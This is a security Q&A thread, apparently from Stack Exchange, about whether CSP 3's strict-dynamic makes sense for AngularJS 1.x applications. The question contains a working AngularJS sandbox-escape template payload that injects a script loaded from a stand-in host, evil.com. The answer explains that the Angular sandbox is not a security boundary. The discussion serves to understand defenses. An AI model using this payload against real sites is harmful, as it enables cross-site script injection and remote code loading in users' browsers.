2

I do not see the point in using CSP 3's new strict-dynamic in the case of an AngularJS 1.x application.

As far as I can tell, using strict-dynamic still allows arbitrary Javascript injection via a sandbox escape in a template:

<html>
  <head>
    <title>Angular - Alert in Expression</title>
    <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.5.8/angular.min.js"></script>
  </head>
  <body ng-app="" ng-csp>
    <div>{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,a=document.createElement("script"),a.src="https://evil.com/evil.js",a.type="text/javascript",a=document.getElementsByTagName("head")[0].appendChild(a),a')}}</div>
  </body>
</html>

The worst thing is, the script injection above is allowed by strict-dynamic, whereas a reasonable host-based CSP script-src would block it.

So, is there any reason to use strict-dynamic on an application that uses AngularJS?

2

There is a bit of a fundamental security issue here based on the fact that an attacker can inject an Angular expression. The Angular project itself has actually stated that the sandbox is not actually a security mechanism, despite the name, and removed it in newer versions to avoid this confusion:

http://angularjs.blogspot.com/2016/09/angular-16-expression-sandbox-removal.html

In the case you are talking about, I would probably characterize this as working as intended, but not necessarily expected. CSP is protecting the script elements to ensure that only trusted ones are executed, but Angular (your trusted script) is being coerced into 'interpreting' the expression in a CSP-compliant way (if you're using ng-csp) that yields the equivalent of script execution.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.